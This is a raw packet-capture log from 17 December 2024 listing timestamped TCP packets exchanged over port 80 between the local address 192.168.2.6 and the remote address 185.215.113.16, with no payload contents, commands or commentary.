Dec 17, 2024 10:08:48.576150894 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.576400995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.576879978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.576915026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.576997042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.577029943 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.577630043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.577891111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.577924967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.578416109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.578605890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.578641891 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.579200983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.579457998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.579937935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.579972982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.580142975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.580732107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.580765009 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.580835104 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.580867052 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.581572056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.581837893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.581873894 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.583096981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.583110094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.583141088 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.583141088 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.583935022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.583946943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.583982944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.585246086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.585258007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.585278034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.585297108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.585309982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.585371971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.585453987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.586158991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.586205006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.586227894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.586882114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.586926937 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.587130070 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.587163925 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.587645054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.587840080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.587876081 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.588366032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.588849068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.588881969 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.589165926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.589567900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.589601994 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.590059042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.590073109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.590109110 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.590662956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.590806007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.591301918 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.591447115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.591597080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.592189074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.592225075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.592679024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.593035936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.593074083 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.593477964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.593523026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.593755007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.593846083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.593879938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.594499111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.595114946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.595282078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.595326900 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.595350027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.595490932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.596020937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.596395016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.596796989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.596838951 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.597001076 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.597084045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.597621918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.598244905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.598292112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.598371029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.598386049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.598419905 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.599123955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.599404097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.599873066 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.599912882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.600028038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.600626945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.600661993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.600822926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.601048946 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.601428032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.601587057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.601620913 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.602160931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.602540016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.602581024 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.602921963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.603132010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.603687048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.603728056 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.603873014 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.604492903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.604531050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.604629993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.605063915 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.605216026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.605377913 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.605417967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.606024981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.606192112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.606230974 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.606745005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.606870890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.607717037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.607754946 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.607796907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.608300924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.608340025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.608416080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.608449936 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.609052896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.609349012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.609858990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.609909058 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.610131025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.610996008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.611021042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.611037970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.611054897 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.611356974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.611546993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.611593008 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.612138033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.612512112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.612869978 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.612884045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.613425970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.613467932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.613663912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.614150047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.614188910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.614502907 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.615139008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.615176916 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.615561962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.616544962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.616714001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.616728067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.616753101 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.616780996 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.617311001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.617664099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.617707968 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.617815018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.618341923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.618381977 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.618454933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.618469000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.618515015 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.619064093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.619616032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.619877100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.619889975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.619910955 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.619935989 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.620590925 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.621260881 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.621337891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.621355057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.621372938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.621396065 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.622122049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.622266054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.622299910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.622914076 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.623187065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.623222113 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:48.623624086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.623729944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.624376059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:48.624417067 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.092170000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.141582966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.313381910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.433207989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.433537960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.433551073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.433562040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.433589935 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.433628082 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.434187889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.435224056 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.435235023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.435247898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.435280085 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.435308933 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.435609102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.435899019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.435940027 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.436214924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.436454058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.436512947 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.436777115 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.437011957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.437066078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.437521935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.437640905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.437689066 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.438185930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.438792944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.438869953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.438937902 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.439110994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.439234018 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.439474106 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.439507961 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.439553022 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.440136909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.440387011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.440475941 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.440871954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.441029072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.441083908 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.441540003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.442044020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.442095995 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.442128897 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.442128897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.442183971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.442837000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.442869902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.442914963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.443689108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.443723917 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.443769932 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.444068909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.444268942 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.444312096 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.444834948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.444869041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.444912910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.445416927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.446101904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.446135998 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.446171045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.446196079 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.446234941 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.446722984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.446952105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.446996927 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.447375059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.447736025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.447787046 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.448157072 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.448303938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.448352098 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.448786020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.448838949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.449054003 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.449409008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.449439049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.449486971 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.449721098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.449776888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.449819088 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.450402975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.450476885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.450524092 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.451076031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.451123953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.451236963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.451692104 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.452148914 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.452197075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.452337027 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.452750921 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.452800035 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.452966928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.453459978 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.453505993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.453629971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.453681946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.453738928 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.454365969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.454581022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.454629898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.454977036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.455733061 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.455765963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.455789089 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.455799103 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.455847979 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.456304073 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.456381083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.456499100 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.457034111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.457071066 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.457124949 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.457627058 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.458134890 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.458185911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.458282948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.458317041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.458364010 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.458950043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.459079981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.459160089 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.459724903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.459758043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.459808111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.460252047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.461030006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.461065054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.461083889 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.461098909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.461146116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.461621046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.462325096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.462362051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.462376118 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.462398052 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.462447882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.462949038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.462982893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.463027954 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.463624001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.463658094 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.463707924 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:49.464212894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.464948893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:49.464982986 CET	80	49774	185.215.113.16	192.168.2.6
